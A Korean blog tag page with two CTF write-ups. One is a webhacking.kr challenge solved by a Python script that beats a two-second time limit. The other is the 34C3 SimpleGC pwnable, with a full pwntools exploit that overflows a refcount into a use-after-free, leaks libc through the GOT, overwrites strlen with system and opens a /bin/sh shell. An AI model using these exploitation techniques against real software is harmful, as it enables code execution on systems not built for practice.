'template'에 해당되는 글 2건

  1. 2018.01.19 [webhacking.kr] prob20(200pt)
  2. 2018.01.07 [34C3 CTF_2017] SimpleGC(pwnable)
2018. 1. 19. 16:04

## prob20(web, 200pt)


[Main]

 20번 문제는 javascript 문제였습니다. 우선 문제페이지를 보도록 하겠습니다.


[그림 1] 문제 페이지


 우선 do not programming이라고 적혀있습니다. 무슨 말인지 모르겠어서 바로 html 소스코드와 프록시 도구를 이용하여 아래 [그림 2]처럼 이 페이지를 살펴보았습니다.


[그림 2] 페이지 코드 및 프록시


 이제 코드를 살짝 보면 Submit버튼을 클릭하면 ck()함수를 실행하며 빨간 네모의 "hack"이라는 name을 가진 text박스와 "attackme"라는 name을 가진 button태그의 value와 비교하여 같은지 확인을 합니다. 여기서 "attackme" 박스의 value를 "hack" 텍스트 박스에 넣고 submit해야할 것이라는 감을 잡을 수 있었습니다. 그런데 같은 값을 넣고 submit을 하면 "Wrong"이라는 문자열이 뜹니다.


 그 이유는 위 [그림 2]의 빨간 박스 중 time limit : 2라는 것에서 왜 그런지 대충 감을 잡을 수 있었습니다. 아마 2초안에 같은 값을 넣고 submit을 해야하나봅니다. 그래서 저는 절대 2초안에 nickname과 comment와 code를 입력하고 submit버튼까지 누를수 없을 것 같아서 python의 requests 모듈을 활용하여 위 [그림 2]에서 프록시로 잡은 parameter를 토대로 코드를 짰습니다. 이 때 한 가지 주의할 점은 POST방식이고, Cookie에 st와 PHPSESSID값이 존재하는데, st는 2초 이내인지 아닌지 판단하는 값이므로 꼭 같이 헤더에 넣어서 보내주어야 합니다.


 아마 위에서 "do not programming!"이라는 것은 이런 풀이 방식을 생각하고 출제자가 쓴 글인가 봅니다. 우선 제 풀이법대로의 파이썬 코드는 아래와 같습니다.


[Exploit Code] - prob20.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
 
url = "http://webhacking.kr/challenge/codeing/code4.html"
header = {'Cookie':'PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',}
 
if __name__ == "__main__":
    ## Stage 1 : get "hack" parameter, get "st" cookie
    stage1_req = requests.post(url = url, headers=header)
    stage1_res = stage1_req.text
    st_cookie = stage1_req.cookies['st']
 
    header = {'Cookie':'st='+st_cookie+';PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',}
    if "attackme" in stage1_res:
        hack = stage1_res[stage1_res.find("name=attackme value=")+21:]
        hack = hack[:hack.find("\"")]
        params = {'id':'holinder4s''cmt':'hello''hack':hack}
        stage2_req = requests.post(url = url, data = params, headers=header)
        stage2_res = stage2_req.text
        print stage2_res
    else:
        print "[-] Error Occur!"
        exit(-1)
 
# ref1) https://www.geeksforgeeks.org/get-post-requests-using-python/
 
cs


 위 코드를 돌리면 아래 [그림 3]과 같이 축하한다면서 문제를 풀었다는 response를 받을 수 있습니다.



[그림 3] Congratulation!


 이 풀이 방법 말고 다른 풀이 방법을 한 번 찾아보았습니다. 사실 수동으로 2초 내에 조금 빠르게 할 수 있는 방법이 존재합니다. 바로 크롬 개발자 도구에서 Console 탭을 이용해 lv5frm.id.value, lv5frm.cmt.value, lv5frm.hack.value를 채워주고 ck()함수를 호출해 주는 방식입니다.


 이 문제는 python코드로 post request보내는 template로 활용하면 될 것 같습니다.

'Wargame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob46(300pt)  (0) 2018.01.26
[webhacking.kr] prob25(150pt)  (0) 2018.01.26
[webhacking.kr] prob8(350pt)  (0) 2018.01.18
[webhacking.kr] prob21(250pt)  (0) 2018.01.13
[webhacking.kr] prob18(100pt)  (0) 2018.01.12
Posted by holinder4S
2018. 1. 7. 17:56

## 34C3 CTF_2017(simpleGC, pwn)


[Summary]

1. C로 Garbage Collection을 구현한 프로그램에서 UAF취약점을 이용하는 문제이다.

2. user Add를 하는 과정에서 group을 변경해도 group의 reference Count가 줄어들지 않는다.

=> 이를 이용하여 byte형 refcount를 0x00으로 만든 후

=> Garbage Collection 스레드에 의해 free된다.

3. user3의 구조체와 과 user1의 group_name 구조체가 공유되도록 만든다.

=> group_name에 strlen got로 변조하면 

=> user3의 group_name_ptr이 strlen got로 변하게 되고

=> leak과 got overwrite가 가능해짐

4. 원래는 libc 2.26버젼에 새롭게 추가된 t-cache를 우회해야 리모트 exploit이 가능.

=> 관련 내용은 차후 추가 예정..


[Exploit Code]  - sgc_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
#import hexdump
 
context(arch='amd64',os='linux')
local=True
#local=False
 
if local:
    #local_libc = ELF("./libc-2.26.so")
    #p = process("./sgc", env={'LD_PRELOAD':local_libc.path})
    p = process("./sgc")
else:
    #remote_libc = ELF("./libc.so.6")
    p = remote("35.198.176.224"1337)
 
binary = ELF("./sgc")
libc = binary.libc
 
raw_input()
 
def print_menu():
    print p.recvuntil("Action: ")
 
def add_user(user_name, group_name, age):
    print_menu()
    p.send('0\n')
    print p.recvuntil("name: ")
    p.send(user_name+'\n')
    print p.recvuntil("group: ")
    p.send(group_name+'\n')
    print p.recvuntil("age: ")
    p.send(str(age)+'\n')
 
def display_user(user_idx):
    print_menu()
    p.send('2\n')
    print p.recvuntil("index: ")
    p.send(str(user_idx)+'\n')
    response = p.recvuntil("0: Add a user")
    return response
 
def edit_group(user_idx, prop, group_name):
    print_menu()
    p.send('3\n')
    print p.recvuntil("index: ")
    p.send(str(user_idx)+'\n')
    print p.recvuntil("group(y/n): ")
    p.send(prop+'\n')
    print p.recvuntil("name: ")
    p.send(group_name+'\n')
 
def delete_user(user_idx):
    print_menu()
    p.send('4\n')
    print p.recvuntil("index: ")
    p.send(str(user_idx)+'\n')
 
if __name__ == '__main__':
    
    ##############################################
    # Stage 1 : overflow group's reference count #
    ##############################################
    for i in xrange(255):
        add_user("AAAA""groupA"10)
        edit_group(0"n""groupC")
        delete_user(0)
    
    add_user("B"*31"groupB"20)
    add_user("A"*31"groupA"20)    # overflow refCnt & user link groupA(freed by GC => free group, group_name_ptr)
    
    ####################################
    # Stage 2 : Trigger UAF & got leak #
    ####################################
    add_user("B"*31"groupB"20)    # group_name_ptr
    add_user("B"*31"groupB"20)    # group
    
    strlen_got = binary.got['strlen']
    edit_group(1"y", p64(20)+p64(strlen_got)+p64(strlen_got))
    response = display_user(3)
    
    strlen_addr = u64(response[response.find("Name: ")+6:response.find("Name: ")+12+ "\x00\x00")
    libc_base = strlen_addr - libc.symbols['strlen']
    system_addr = libc_base + libc.symbols['system']
 
    print "[+] libc base addr : " + hex(libc_base)
    print "[+] system addr : " + hex(system_addr)
    
    #############################################
    # Stage 3-1 : Overwrite got(strlen->system) #
    # Stage 3-2 : make system("/bin/sh")        #
    #############################################
    edit_group(3"y", p64(system_addr))
    add_user("/bin/sh""groupD"20)
    
    p.interactive()
 
cs


[Reference]

1. https://github.com/epadctf/34c3/blob/master/SimpleGC/win.py

2. https://github.com/bkth/34c3ctf/tree/master/SimpleGC

2. http://tukan.farm/2017/07/08/tcache/

'CTF writeup' 카테고리의 다른 글

[34C3 CTF_2017] readme_revenge(pwnable)  (0) 2018.01.22
[HITCON CTF_2017] start(pwnable)  (0) 2017.11.22
[CSAW CTF_2017] prophecy(reversing)  (0) 2017.09.21
[HDCON_2017] Fabuary(reversing)  (0) 2017.09.21
[ASIS CTF_2017] mrs. hudson(pwnable)  (0) 2017.09.13
Posted by holinder4S